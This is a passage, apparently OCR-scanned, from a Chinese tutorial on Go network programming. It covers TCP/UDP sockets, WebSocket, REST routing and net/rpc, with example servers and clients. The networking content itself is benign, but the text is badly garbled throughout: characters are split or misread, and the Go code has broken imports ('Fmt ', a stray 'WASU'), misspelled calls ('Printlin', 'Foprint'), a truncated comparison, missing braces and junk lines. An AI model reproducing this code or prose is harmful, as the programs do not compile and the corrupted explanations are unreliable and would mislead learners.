过 从 客户 端 发送 不 同 的 请 求 来 获取 不 同 的 时 间 格 式 ， 而 且 需 要 一 个 长 连接 ， 该 怎么 
做 呢 ?请 看 : 


package main 


import ( 
"Fmt " 
"net " 
WASU 
"time" 
"strconv" 
"strings" 


) 


func main() { 

service := ":1200" 
tcpAddr, err := net.ResolveTCPAddr("tcp4", service) 
checkError(err) 
listener, err := net.ListenTCP("tcp", tcpAddr) 
checkError(err) 
for { 

conn, err := listener.Accept() 

if err != nil { 

continue 


} 
go handleClient(conn) 


} 


func handleClient(conn net.Conn) { 
conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 
request := make([]byte, 128) // set maxium request length to 1: 
defer conn.Close() // close connection before exit 


for { 
read_len, err := conn.Read(request ) 
if err != nil { 
fmt.Printlin(err) 
break 
} 


if read len == 0 { 
break // connection already closed by client 

} else if strings.TrimSpace(string(request[:read_len])) == 
daytime := strconv.FormatInt(time.Now().Unix(), 10) 
conn.write([]byte(daytime) ) 

} else { 


daytime := time.Now().String() 
conn.write([]byte(daytime) ) 


} 
request = make([]byte, 128) // clear last read content 
} 
} 
func checkError(err error) { 
if err != nil { 
fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) 
os.Exit(1) 
} 
} 





在 上 面 这 个 例子 中 ， 我 们 使 用 conn.Read() 不 断 读 取 客 户 端 发 来 的 请 求 。 由 于 我 
们 需要 保持 与 客户 端的 长 连接 ， 所 以 不 能 在 读 取 完 一 次 请 求 后 就 关闭 连接 。 由 

于 conn.SetReadDeadline() 设置 了 超时 ， 当 一 定时 间 内 客户 端 无 请 求 发 

送 ， con 便 会 自动 关闭 ， 下 面 的 for 循 环 即 会 因为 连接 已 关闭 而 跳出 。 需 要 注意 的 
是 ， request 在 创建 时 需要 指定 一 个 最 大 长 度 以 防止 food attack ; 每 次 读 取 到 请 
求 处 理 完毕 后 ， 需 要 清理 request， 因 为 conn.Read() 会 将 新 读 取 到 的 内 容 
append 到 原 内 容 之 后 。 


控制 TCP 连 接 
TCP 有 很 多 连接 控制 画 数 ， 我 们 平常 用 到 比较 多 的 有 如 下 几 个 画 数 : 


func DialTimeout(net, addr string, timeout time.Duration) (Conn, ei 





设置 建立 连接 的 超时 时 间 ， 客 户 端 和 服务 器 端 都 适用 ， 当 超过 设置 时 间 时 ， 连 接 自 
动 关闭 。 


func (c *TCPConn) SetReadDeadline(t time.Time) error 
func (c *TCPConn) SetWriteDeadline(t time.Time) error 


用 来 设置 写 入 / 读 取 一 个 连接 的 超时 时 间 。 当 超过 设置 时 间 时 ， 连 接 自动 关闭 。 


func (c *TCPConn) SetkeepAlive(keepalive bool) os.Error 
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于 一 些 需 要 频繁 交换 数据 的 应 用 场景 比较 适用 。 


更 多 的 内 容 请 查看 net 包 的 文档 。 


UDP Socket 


Go 语言 包 中 义理 UDP Socket 和 TCP Socket 不 同 的 地 方 就 是 在 服务 器 端 处 理 多 个 客 


P imik 


本 几乎 


func 
func 
func 
func 
func 


了 = ee 


求 数 据 包 的 方式 不 同 ,UDP 人 缺少 了 对 客户 端 连 接 请 求 的 Accept 函 数 。 其 他 基 
一 模 一 样 ， 只 有 TCP 换 成 了 UDP 而 已 。UDP 的 几 个 主要 本 数 如 下 所 示 : 


ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) 

DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err 0: 
ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Errc 
(c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err 
(c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err «í 





一 个 UDP 的 客户 端 代 码 如 下 所 示 , 我 们 可 以 看 到 不 同 的 就 是 TCP 换 成 了 UDP 而 已 : 


pack 


Impo 


) 


func 


func 


age main 


rt ( 
"Fmt " 
"net " 
"os" 


main() { 

if len(os.Args) != 2 { 
fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) 
os.Exit(1) 

} 

service := os.Args[1] 

udpAddr, err := net.ResolveUDPAddr("udp4", service) 

checkError(err) 

conn, err := net.DialUDP("udp", nil, udpAddr) 

checkError(err) 

_, err = conn.Write([]byte("anything") ) 

checkError(err) 

var buf [512]byte 

n, err := conn.Read(buf[0: ]) 

checkError (err) 

fmt.Println(string(buf[0:n])) 

os.Exit(0) 


checkError(err error) { 

if err != nil { 
fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) 
os.Exit(1) 








我 们 来 看 一 下 UDP 服务 器 端 如 何 来 义理 : 


package main 


import ( 
"Fmt W 
"net W 
wast! 
"time" 


) 


func main() { 
service := ":1200" 
udpAddr, err := net.ResolveUDPAddr("udp4", service) 
checkError(err) 
conn, err := net.ListenUDP("udp", udpAddr ) 
checkError (err) 
for { 
handleClient(conn) 
} 


} 
func handleClient(conn *net.UDPConn) { 
var buf [512]byte 
_, addr, err := conn.ReadFromUDP(buf[0:]) 
if err != nil { 
return 
} 


daytime := time.Now().String() 
conn.WriteToUDP([]byte(daytime), addr) 
} 
func checkError(err error) { 
if err != nil { 
fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) 
os.Exit(1) 


Be 

通过 对 TCP 和 UDP Socket 编 程 的 描述 和 实现 ， 可 见 Go 已 经 完备 地 支持 了 Socket 编 
程 ， 而 且 使 用 起 来 相当 的 方便 ，Go 提 供 了 很 多 函数 ， 通 过 这 些 画 数 可 以 很 容易 就 编 
写 出 高 性 能 的 Socket 应 用 。 


Go Web 编程 
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8.2 WebSocket 


WebSocket 是 HTML5 的 重要 特性 ， 它 实现 了 基于 浏览 器 的 远程 socket， 它 使 浏览 
和 服务 器 可 以 进行 全 双 工 通信 ， 许 多 浏览 器 器 (Firefox. Google a a 
都 已 对 此 做 了 支持 。 


在 WebSocket 出 现 之 前 ， 为 了 实现 即时 通信 ， E 即 在 特定 的 
时 间 间 隔 内 ， 由 浏览 器 对 服务 器 发 出 HTTP Request， 服 务 器 在 收 到 请 求 后 ， 返 回 
最 新 的 数据 给 浏览 器 刷新 , “ 轮 询 " 使 得 浏览 器 需要 对 服务 器 不 断 发 出 请 青 求 ， 这 样 会 
占用 大 量 带 宽 。 


WebSocket 采 用 了 一 些 特殊 的 报头 ， 使 得 浏览 器 和 服务 器 只 需要 做 一 个 握手 的 动 
作 ， 就 可 以 在 浏览 器 和 服务 器 之 间 建 立 一 条 连接 通道 。 且 此 连接 会 保持 在 活动 状 
态 ， 你 可 以 使 用 JavaScript 来 向 连接 写 入 或 从 中 接收 数据 ， 就 像 在 使 用 一 个 常规 的 
TCP Socket 一 样 。 它 解决 了 Web 实 时 化 的 问题 ， 相 比 传 统 HTTP 有 如 下 好 处 : 


。 一 个 Web 客 户 端 只 建立 一 个 TCP 连 接 
e Websocket 服 务 端 可 以 推送 (push) 数 据 到 web 客 > tm. 
e。 有 更 加 轻 量 级 的 头 ， 减 少数 据 传 送 量 


WebSocket URL 的 起 始 输入 是 ws:// 或 是 wss:// (在 SSL 上 ) 。 下 图 展示 了 
WebSocket 的 通信 过 程 ， 一 个 带 有 特定 报头 的 HTTP 握 手 被 发 送 到 了 服务 器 端 ， 接 
着 在 服务 器 端 或 是 客户 端 就 可 以 通过 JavaScript 来 使 用 某 种 套 接口 (socket) ， 这 
一 套 接口 可 被 用 来 通过 事件 句柄 异步 地 接收 数据 。 


图 8.2 WebSocket 原 理 图 


WebSocket 原 理 


WebSocket 的 协议 颇 为 简单 ， 在 第 一 次 handshake 通 过 以 后 ， 连 接 便 建立 成 功 ， 其 
后 的 通讯 数据 都 是 以 \x00" 开 头 ， 以 "xFF” 结 尾 。 在 客户 端 ， 这 个 是 透明 的 ， 
WebSocket 组 件 会 自动 将 原始 数据 “ 拘 头 去 尾 ”。 


浏览 器 发 出 WebSocket 连 接 请 求 ， 然 后 服务 器 发 出 回应 ， 然 后 连接 建立 成 功 ， 
过 程 通常 称 为 握手” (handshaking)。 请 看 下 面 的 请 求 和 反馈 信息 : 


图 8.3 WebSocket 的 request 和 response 信 息 


在 请 求 中 的 "Sec-WebSocket-Key" 是 随机 的 ， 对 于 整 天 跟 编 码 打 交 到 的 程序 员 ， 一 
眼 就 可 以 看 出 来 : 这 个 是 一 个 经 过 base64 编 码 后 的 数据 。 服 务 器 端 接收 到 这 个 请 求 
之 后 需要 把 这 个 字符 串 连 接 上 一 个 固定 的 字符 串 : 


258EAFA5-E914-47DA-95CA-C5ABODC85B11 


Bl: f7cb4ezEA16C3wRaU6JORA== 连接 上 那 一 串 固定 字符 串 ， 生 成 一 个 这 样 的 字 
FE: 


f7cb4ezEAL6C3wRaU6 JORA==258EAFAS5 -E914-47DA-95CA-C5ABODC85B11 


对 该 字符 串 先 用 sha1 安 全 散 列 算法 计算 出 二 进 制 的 值 ， 然 后 用 base64 对 其 进行 编 
码 ， 即 可 以 得 到 握手 后 的 字符 串 : 


rE91AJhfC+6JdVcVXOGJEADEJdQ= 
将 之 作为 响应 头 Sec-WebSocket-Accept 的 值 反 馈 给 客户 端 。 


Go 实现 WebSocket 


Go 语言 标准 包 里 面 没 有 提供 对 WebSocket 的 支持 ， 但 是 在 由 官方 维护 的 go.net 子 包 
中 有 对 这 个 的 支持 ， 你 可 以 通过 如 下 的 命令 获取 该 包 : 


go get code.google.com/p/go.net/websocket 


WebSocket 分 为 客户 端 和 服务 端 ， 接 下 来 我 们 将 实现 一 个 简单 的 例子 :用 户 输入 信 
息 ， 客 户 端 通过 WebSocket 将 信息 发 送 给 服务 器 端 ， 服 务 器 端 收 到 信息 之 后 主动 
Push 信 息 到 客户 端 ， 然 后 客户 端 将 输出 其 收 到 的 信息 ， 客 户 端的 代码 如 下 : 


<html> 
<head></head> 
<body> 
<script type="text/javascript"> 
var sock = null; 
var wsuri = "ws://127.0.0.1:1234"; 


window.onload = function() { 
console.log("onload"); 
sock = new WebSocket(wsuri); 
sock.onopen = function() { 


console.log("connected to " + wsuri); 
} 


sock.onclose = function(e) { 
console.log("connection closed (" + e.code + ")"); 


} 

sock.onmessage = function(e) { 
console.log("message received: " + e.data); 

} 


jr 


function send() { 
var msg = document.getElementById('message').value; 
sock.send(msg); 
}; 
</script> 
<h1i>webSocket Echo Test</h1> 
<form> 
<p> 
Message: <input id="message" type="text" value="Hello, 
</p> 
</form> 
<button onclick="send();">Send Message</button> 
</body> 
</html> 
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sock， 当 握手 成 功 后 ， 会 触发 WebScoket 对 象 的 onopen 事 件 ， 告 诉 客户 端 连接 已 
经 成 功 建立 。 客 户 端 一 共 绑 定 了 四 个 事件 。 


1) onopen 建立 连接 后 触发 
2) onmessage 收 到 消息 后 触发 
3) onerror 发 生 错 误 时 触发 
4) onclose 关闭 连接 时 触发 





我 们 服务 器 端的 实现 如 下 : 


package main 


import ( 
"code.google.com/p/go.net/websocket" 
"Fmt " 
"log" 
"net/http" 

) 


func Echo(ws *websocket.Conn) { 
var err error 


for { 
var reply string 


if err = websocket.Message.Receive(ws, &reply); err != nil 
fmt.Println("Can't receive") 
break 


} 


fmt .Println("Received back from client: " + reply) 


msg := "Received: " + reply 
fmt.Println("Sending to client: " + msg) 


if err = websocket.Message.Send(ws, msg); err != nil { 
fmt.Printin("Can't send") 
break 

} 


} 


func main() { 
http.Handle("/", websocket.Handler (Echo) ) 


if err := http.ListenAndServe(":1234", nil); err != nil { 
log.Fatal("ListenAndServe:", err) 





当 客 户 端 将 用 户 输 入 的 信息 Send 之 后 ， 服 务 器 端 通过 Receive 接 收 到 了 相应 信息 ， 
然后 通过 Send 发 送 了 应 答 信 息 。 


图 8.4 WebSocket 服 务 器 端 接收 到 的 信息 


通过 上 面 的 例子 我 们 看 到 客户 端 和 服务 器 端 实现 WebSocket 非 常 的 方便 ，Go 的 源 
码 net 分 支 中 已 经 实现 了 这 个 的 协议 ， 我 们 可 以 直接 拿 来 用 ， 目 前 随 着 HTML5 的 发 
展 ， 我 想 未 来 WebSocket 会 是 Web 开 发 的 一 个 重点 ， 我 们 需要 储 各 这 方面 的 知识 。 
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8.3 REST 


RESTful， 是 目前 最 为 流行 的 一 种 互联 网 软件 架构 。 因 为 它 结 构 清晰 、 符 合 标准 、 
易于 理解 、 扩 展 方便 ， 所 以 正 得 到 越 来 越 多 网 站 的 采用 。 本 小 节 我 们 将 来 学 习 它 到 
底 是 一 种 什么 样 的 架构 ?以 及 在 Go 里 面 如 何 来 实现 它 。 


什么 是 REST 


REST(REpresentational State Transfer) 这 个 概念 ， 首 次 出 现 是 在 2000 年 Roy 
Thomas Fielding (他 是 HTTP 规 范 的 主要 编写 者 之 一 ) 的 博士 论文 中 ， 它 指 的 是 一 
组 架构 约束 条 件 和 原则 。 满 足 这 些 约 束 条 件 和 原则 的 应 用 程序 或 设计 就 是 RESTful 


的 。 


要 理解 什么 是 REST， 我 们 需要 理解 下 面 几 个 概念 : 


zA 
FTR 口 


资源 (Resources) REST 是 "表现 层 状 态 转 化 "， 其 实 它 省 略 了 主语 。" 表 现 
层 " 其 实 指 的 是 "资源 "的 "表现 层 "。 


那么 什么 是 资源 呢 ? 就 是 我 们 平常 上 网 访问 的 一 张 图 片 、 一 个 文档 、 一 个 视频 
等 。 这 些 资源 我 们 通过 URI 来 定位 ， 也 就 是 一 个 URI 表 示 一 个 资源 。 


表现 层 (Representation) 
资源 是 做 一 个 具体 的 实体 信息 ， 他 可 以 有 多 种 的 展现 方式 。 而 把 实体 展现 出 来 


~ 


就 是 表现 层 ， 例 如 一 个 txt 文 本 信息 ， 他 可 以 输出 成 html、json、xml 等 格式 ， 一 
个 图 片 他 可 以 jpg、png 等 方式 展现 ， 这 个 就 是 表现 层 的 意思 。 


URI 确 定 一 个 资源 ， 但 是 如 何 确定 它 的 具体 表现 形式 呢 ?点 该 在 HTTP 请 求 的 头 
信息 中 用 Accept 和 Content-Type 字 段 指 定 ， 这 两 个 字段 才 是 对 "表现 层 " 的 描 


状态 转化 (State Transfer) 


访问 一 个 网 站 ， 就 代表 了 客户 端 和 服务 器 的 一 个 互动 过 程 。 在 这 个 过 程 中 ， 肯 
定 涉及 到 数据 和 状态 的 变化 。 而 HTTP 协 议 是 无 状态 的 ， 那 么 这 些 状 态 肯 定 保 
存在 服务 器 端 ， 所 以 如 果 客 户 端 想 要 通知 服务 器 端 改 变数 据 和 状态 的 变化 ， 肯 
定 要 通过 某 种 方式 来 通知 它 。 

客户 端 能 通知 服务 器 端的 手段 ， 只 能 是 HTTP 协 议 。 具 体 来 说 ， 就 是 HTTP 协 议 
里 面 ， 四 个 表示 操作 方式 的 动词 : GET、POST、PUT、DELETE。 它 们 分 别 
对 应 四 种 基本 操作 : GET 用 来 获取 资源 ，POST 用 来 新 建 资 源 (也 可 以 用 于 更 
新 资源 ) ，PUT 用 来 更 新 资源 ，DELETE 用 来 删除 资源 。 


上 面 的 解释 ， 我 们 总 结 一 下 什么 是 RESTful 架 构 : 
(1) 每 一 个 URI 代 表 一 种 资源 ; 


(2) 客户 端 和 服务 器 之 间 ， 传 递 这 种 资源 的 某 种 表现 层 ; 
(3) 客户 端 通过 四 个 HTTP 动 词 ， 对 服务 器 端 资源 进行 操作 ， 实 现 "表现 层 状 


态 转 化 "。 


Web 应 用 要 满足 REST 最 重要 的 原则 是 :客户 端 和 服务 器 之 间 的 交互 在 请 求 之 间 是 无 
状态 的 , 即 从 客户 端 到 服务 器 的 每 个 请 求 都 必须 包含 理解 请 求 所 必需 的 信息 。 如 果 服 
务 器 在 请 求 之 间 的 任何 时 间 点 重启 ， 客 户 端 不 会 得 到 通知 。 此 外 此 请 求 可 以 由 任何 
可 用 服务 器 回答 ， 这 十 分 适合 云 计 算 之 类 的 环境 。 因 为 是 无 状态 的 ， 所 以 客户 端 可 
以 缓存 数据 以 改进 性 能 。 


另 一 个 重要 的 REST 原 则 是 系统 分 层 ， 这 表示 组 件 无 法 了 解除 了 和 与 它 和 直接 交 互 的 层 
次 以 外 的 组 件 。 通 过 将 系统 知识 限制 在 单个 层 ， 可 以 限制 整个 系统 的 复杂 性 ， 从 而 
促进 了 底层 的 独立 性 。 


下 图 即 是 REST 的 架构 图 : 


图 8.5 REST 架 构图 


当 REST 架 构 的 约束 条 件 作为 一 个 整体 应 用 时 ， 将 生成 一 个 可 以 扩展 到 大 量 客户 端 
的 应 用 程序 。 它 还 降低 了 客户 端 和 服务 器 之 间 的 交互 延迟 。 统 一 界面 简化 了 整个 系 
统 架 构 ， 改 进 了 子 系统 之 间 交 互 的 可 见 性 。REST 简 化 了 客户 端 和 服务 器 的 实现 ， 
而 且 对 于 使 用 REST 开 发 的 应 用 程序 更 加 容易 扩展 。 


下 图 展示 了 REST 的 扩展 性 : 


图 8.6 REST 的 扩展 性 


RESTful 的 实现 


Go 没有 为 REST 提 供 直 接 支持 ， 但 是 因为 RESTful 是 基于 HTTP 协 议 实现 的 ， 所 以 我 
们 可 以 利用 net/http 包 来 自己 实现 ， 当 然 需要 针对 REST 做 一 些 改 造 ，REST 是 
根据 不 同 的 method 来 处理 相应 的 资源 ， 目 前 已 经 存在 的 很 多 自称 是 REST 的 应用， 
其 实 并 没有 真正 的 实现 REST， 我 暂且 把 这 些 应 用 根据 实现 的 method 分 成 几 个 级 
别 ， 请 看 下 图 : 


图 8.7 REST 的 level 分 级 


上 图 展示 了 我 们 目前 实现 REST 的 三 个 level， 我 们 在 应 用 开发 的 时 候 也 不 一 定 全 部 
按照 RESTful 的 规则 全 部 实现 他 的 方式 ， 因 为 有 些 时 候 完全 按照 RESTful 的 方式 未 
必 是 可 行 的 ，RESTful 服 务 充 分 利用 每 一 个 HTTP 方 法 ， 包 括 DELETE 和 PUT. A 
有 时 ，HTTP 客 户 端 只 能 发 出 GET 和 POST 请 求 : 


e HTML 标 准 只 能 通过 链接 和 表单 支持 GET 和 POST 。 在 没有 Ajax 支持 的 网 页 
浏览 器 中 不 能 发 出 PUT 或 DELETE MS 


。 有 些 防火 墙 会 挡住 HTTP PUT 和 DELETE 请 求 要 绕 过 这 个 限制 ， 客 户 端 需 
把 实际 的 PUT 和 DELETE 请 求 通过 POST 请 求 穿 透 过 来 。RESTful 服务 则 要 
负责 在 收 到 的 POST 请 求 中 找到 原始 的 HTTP 方法 并 还 原 。 


我 们 现在 可 以 通过 Post 里 面 增加 隐藏 字段 _method 这 种 方式 可 以 来 模 

dh PUT 、 DELETE 等 方式 ， 但 是 服务 器 端 需要 做 转换 。 我 现在 的 项 目 里 面 就 按照 
这 种 方式 来 做 的 REST 接 口 。 当 然 Go 语 言 里 面 完全 按照 RESTful 来 实现 是 很 容易 
的 ， 我 们 通过 下 面 的 例子 来 说 明 如 何 实现 RESTful 的 应 用 设计 。 


package main 


import ( 
W fmt W 
"github.com/drone/routes" 
"net/http" 

) 


func getuser(w http.Responsewriter, r *http.Request) { 
params := r.URL.Query() 
uid := params.Get(":uid") 
fmt.Fprintf (w, "you are get user %s", uid) 


} 


func modifyuser(w http.Responsewriter, r *http.Request) { 
params := r.URL.Query() 
uid := params.Get(":uid") 
fmt.Fprintf (w, "you are modify user %s", uid) 


} 


func deleteuser(w http.Responsewriter, r *http.Request) { 
params := r.URL.Query() 
uid := params.Get(":uid") 
fmt.Fprintf (w, "you are delete user %s", uid) 


} 


func adduser(w http.Responsewriter, r *http.Request) { 
uid := r.FormValue("uid" ) 
fmt.Foprint(w, "you are add user %s", uid) 


} 


func main() { 
mux := routes.New() 
mux.Get("/user/:uid", getuser) 
mux.Post("/user/", adduser ) 
mux.Del("/user/:uid", deleteuser ) 
mux.Put("/user/:uid", modifyuser ) 
http.Handle("/", mux) 
http.ListenAndServe(":8088", nil) 


上 面 的 代码 演示 了 如 何 编写 一 个 REST 的 应 用 ， 我 们 访问 的 资源 是 用 户 ， 我 们 通过 
不 同 的 method 来 访问 不 同 的 函数 ， 这 里 使 用 了 第 三 方 

库 github.com/drone/routes ， 在 前 面 章节 我 们 介绍 过 如 何 实现 自 定 义 的 路 由 

器 ， 这 个 库 实现 了 自 定义 路 由 和 方便 的 路 由 规则 映射 ， 通 过 它 ， 我 们 可 以 很 方便 的 
实现 REST 的 架构 。 通 过 上 面 的 代码 可 知 ，REST 就 是 根据 不 同 的 method 访 问 同一 
个 资源 的 时 候 实 现 不 同 的 逻辑 处 理 。 


总 结 
REST 是 一 种 架构 风格 ， 汲 取 了 WWW 的 成 功 经 验 : 无 状态 ， 以 资源 为 中 心 ， 充 分 

利用 HTTP 协 议和 和 URI 协议， 提供 统一 的 接口 定义 ， 使 得 它 作 为 一 种 设计 Web 服 务 的 
方法 而 变 得 流行 。 在 某 种 意义 上 ， 通 过 强调 URI 和 HTTP 等 早期 Internet 标 准 ，REST 
是 对 大 型 应 用 程序 服务 器 时 代 之 前 的 Web 方 式 的 回 轨 。 目 前 Go 对 于 REST 的 支持 还 
是 很 简单 的 ， 通 过 实现 自 定义 的 路 由 规则 ， 我 们 就 可 以 为 不 同 的 method 实 现 不 同 的 
handle， 这 样 就 实现 了 REST 的 架构 。 


: WebSocket 


8.4 RPC 


前 面 几 个 小 节 我 们 介绍 了 如 何 基于 Socket 和 HTTP 来 编写 网 络 应 用 ， 通 过 学 习 我 们 
了 解 了 Socket 和 HTTP 采 用 的 是 类 似 "信息 交换 "模式 ， 即 客户 端 发 送 一 条 信息 到 服务 
端 ， 然 后 (一 般 来 说 ) 服 务 器 端 都 会 返回 一 定 的 信息 以 表示 响应 。 客 户 端 和 服务 端 之 
间 约 定 了 交互 信息 的 格式 ， 以 便 双方 都 能 够 解析 交互 所 产生 的 信息 。 但 是 很 多 独立 
的 应用 并 没有 采用 这 种 模式 ， 而 是 采用 类 似 常 规 的 函数 调用 的 方式 来 完成 想 要 的 功 
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端 把 这 些 参数 打包 之 后 通过 网 络 传递 到 服务 端 ， 服 务 端 解 包 到 处 理 过 程 中 执行 ， 然 
后 执行 的 结果 反馈 给 客户 端 。 


RPC (Remote Procedure Call Protocol) 一 一 远程 过 程 调用 协议 ， 是 一 种 通过 网 
络 从 远程 计算 机 程序 上 请 求 服务 ， 而 不 需要 了 解 底层 网 络 技术 的 协议 。 它 假定 某 些 
传输 协议 的 存在 ， 如 TCP 或 UDP， 以 便 为 通信 程序 之 间 携 带 信 息 数 据 。 通 过 它 可 以 
使 男 数 调用 模式 网 络 化 。 在 OSI 网 络 通信 模型 中 ，RPC 跨 越 了 传输 层 和 应 用 层 。 
RPC 使 得 开发 包括 网 络 分 布 式 多 程序 在 内 的 应 用 程序 更 加 容易 。 


RPC 工 作 原 理 


图 8.8 RPC 工 作 流程 图 
运行 时 ,一 次 客户 机 对 服务 器 的 RPC 调 用 ,其 内 部 操作 大 致 有 如 下 十 步 : 


e。 1. 调 用 客户 端 句柄 ; 执行 传送 参数 

e 2. 调 用 本 地 系统 内 核发 送 网 络 消息 

3. 消 息 传送 到 远程 主机 

4. 服 务 器 句柄 得 到 消息 并 取得 参数 

5. 执 行 远程 过 程 

6. 执 行 的 过 程 业 结果 返回 服务 器 句柄 

7. 服 务 器 句柄 返回 结果 ， 调 用 远程 系统 内 核 
8. 消 息 传 回 本 地 主机 

9. 客 户 句 柄 由 内 核 接收 消息 

10. 客 户 接收 句柄 返回 的 数据 


Go RPC 


Go 标准 包 中 已 经 提供 了 对 RPC 的 支持 ， 而 且 支 持 三 个 级 别 的 RPC : TCP, HTTP, 
JSONRPC。 但 Go 的 RPC 包 是 独一无二 的 RPC， 它 和 传统 的 RPC 系 统 不 同 ， 它 只 
支持 Go 开发 的 服务 器 与 客户 端 之 间 的 交互 ， 因 为 在 内 部 ， 它 们 采用 了 Gob 来 编码 。 


Go RPC 的 函数 只 有 符合 下 面 的 条 件 才能 被 远程 访问 ， 不 然 会 被 忽略 ， 详 细 的 要 求 
如 下 : 


e。 加 数 必须 是 导出 的 ( 首 字母 大 写 ) 

必须 有 两 个 导出 类 型 的 参数 ， 

。 第 一 个 参数 是 接收 的 参数 ， 第 二 个 参数 是 返回 给 客户 端的 参数 ， 第 二 个 参数 必 
须 是 指针 类 型 的 

e 画 数 还 要 有 一 个 返回 值 error 


举 个 例子 ， 正 确 的 RPC 画 数 格式 如 下 : 


func (t *T) MethodName(argType T1, replyType *T2) error 


T、T1 和 T2 类 型 必须 能 被 encoding/gob 包 编 解码 。 
任何 的 RPC 都 需要 通过 网 络 来 传递 数据 ，Go RPC 可 以 利用 HTTP 和 TCP 来 传递 数 


据 ， 利 用 HTTP 的 好 处 是 可 以 直接 复 用 net/http 里 面 的 一 些 函 数 。 详 细 的 例子 请 
看 下 面 的 实现 


HTTP RPC 


http 的 服务 端 代码 实现 如 下 : 


package main 


import ( 
"errors" 
"Fmt " 
"net/http" 
"net/rpc" 

) 

type Args struct { 
A, B int 

} 


type Quotient struct { 
Quo, Rem int 


} 


type Arith int 


func (t *Arith) Multiply(args *Args, reply *int) error { 
*reply = args.A * args.B 
return nil 


} 


func (t *Arith) Divide(args *Args, quo *Quotient) error { 
if args.B == 0 { 
return errors.New("divide by zero") 
} 


quo.Quo = args.A / args.B 
quo.Rem = args.A % args.B 
return nil 


} 
func main() { 


arith := new(Arith) 
rpc.Register(arith) 
rpc.HandleHTTP() 


err := http.ListenAndServe(":1234", nil) 
if err != nil { 

fmt .Printin(err.Error()) 
} 


通过 上 面 的 例子 可 以 看 到 ， 我 们 注册 了 一 个 Arith 的 RPC 服 务 ， 然 后 通 
过 rpc.HandleHTTP 加 数 把 该 服务 注册 到 了 HTTP 协 议 上 ， 然 后 我 们 就 可 以 利用 
http 的 方式 来 传递 数据 了 。 


请 看 下 面 的 客户 端 代码 : 


package main 


import ( 
"Fmt " 
"log" 
"net/rpc" 
wos" 
) 
type Args struct { 
A, B int 
} 


type Quotient struct { 
Quo, Rem int 
} 


func main() { 
if len(os.Args) != 2 { 
fmt.Println("Usage: ", os.Args[0], "Server" ) 
os.Exit(1) 
} 


serverAddress := os.Args[1] 


client, err := rpc.DialHTTP("tcp", serverAddresst+":1234") 
if err != nil { 

log.Fatal("dialing:", err) 
} 


// Synchronous call 
args := Args{17, 8} 
var reply int 
err = client.Call("Arith.Multiply", args, &reply) 
if err != nil { 
log.Fatal("arith error:", err) 
} 


fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) 

var quot Quotient 

err = client.Call("Arith.Divide", args, &quot) 

if err != nil { 

log.Fatal("arith error:", err) 
} 
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, ql 
} 

EIE 


我 们 把 上 面 的 服务 端 和 客户 端的 代码 分 别 编 译 ， 然 后 先 把 服务 端 开启 ， 然 后 开启 客 
户 端 ， 输 入 代码 ， 就 会 输出 如 下 信息 : 





$ ./http_c localhost 
Arith: 17%*8=136 
Arith: 17/8=2 remainder 1 


通过 上 面 的 调用 可 以 看 到 参数 和 返回 值 是 我 们 定义 的 struct 类 型 ， 在 服务 端 我 们 把 
它们 当做 调用 函数 的 参数 的 类 型 ， 在 客户 端 作为 client.call 的 第 2，3 两 个 参数 
的 类 型 。 客 户 端 最 重要 的 就 是 这 个 Call 函 数 ， 它 有 3 个 参数 ， 第 1 个 要 调用 的 函数 的 
名 字 ， 第 2 个 是 要 传递 的 参数 ， 第 3 个 要 返回 的 参数 (注意 是 指针 类 型 )， 通 过 上 面 的 
代码 例子 我 们 可 以 发 现 ， 使 用 Go 的 RPC 实 现 相 当 的 简单 ， 方 便 。 


TCP RPC 


上 面 我 们 实现 了 基于 HTTP 协 议 的 RPC， 接 下 来 我 们 要 实现 基于 TCP 协 议 的 RPC， 
服务 端的 实现 代码 如 下 所 示 : 


package main 


import ( 
"errors" 
"Fmt " 
"net " 
"net/rpc" 
"os" 
) 
type Args struct { 
A, B int 
} 


type Quotient struct { 
Quo, Rem int 


} 
type Arith int 


func (t *Arith) Multiply(args *Args, reply *int) error { 
*reply = args.A * args.B 
return nil 


} 


func (t *Arith) Divide(args *Args, quo *Quotient) error { 
if args.B == 0 { 
return errors.New("divide by zero") 
} 


quo.Quo = args.A / args.B 
quo.Rem = args.A % args.B 
return nil 


func main() { 


arith := new(Arith) 
rpc.Register(arith) 


tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") 
checkError(err) 


listener, err := net.ListenTCP("tcp", tcpAddr) 


checkError (err) 
for { 
conn, err := listener.Accept() 
if err != nil { 
continue 
} 
rpc.ServeConn(conn) 
} 
} 
func checkError(err error) { 
if err != nil { 
fmt.Println("Fatal error ", err.Error()) 
os.Exit(1) 
} 


上 面 这 个 代码 和 http 的 服务 器 相 比 ， 不 同 在 于 :在 此 处 我 们 采用 了 TCP 协 议 ， 然 后 需 
要 自己 控制 连接 ， 当 有 客户 端 连接 上 来 后 ， 我 们 需要 把 这 个 连接 交 给 rpc 来 处 理 。 


如 果 你 留心 了 ， 你 会 发 现 这 它 是 一 个 阻塞 型 的 单 用 户 的 程序 ， 如 果 想 要 实现 多 并 
发 ， 那 么 可 以 使 用 goroutine 来 实现 ， 我 们 前 面 在 socket 小 节 的 时 候 已 经 介绍 过 如 何 
处 理 goroutine。 下 面 展现 了 TCP 实 现 的 RPC 客 户 端 : 


package main 


import ( 
"Fmt " 
"log" 
"net/rpc" 
wos" 
) 
type Args struct { 
A, B int 
} 


type Quotient struct { 
Quo, Rem int 
} 


func main() { 
if len(os.Args) != 2 { 
fmt.Println("Usage: ", os.Args[0], "Server:port") 


os.Exit(1) 
} 
service := os.Args[1] 
client, err := rpc.Dial("tcp", service) 
if err != nil { 
log.Fatal("dialing:", err) 
} 


// Synchronous call 
args := Args{17, 8} 
var reply int 
err = client.Call("Arith.Multiply", args, &reply) 
if err != nil { 
log.Fatal("arith error:", err) 
} 


fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) 

var quot Quotient 

err = client.Call("Arith.Divide", args, &quot) 

if err != nil { 

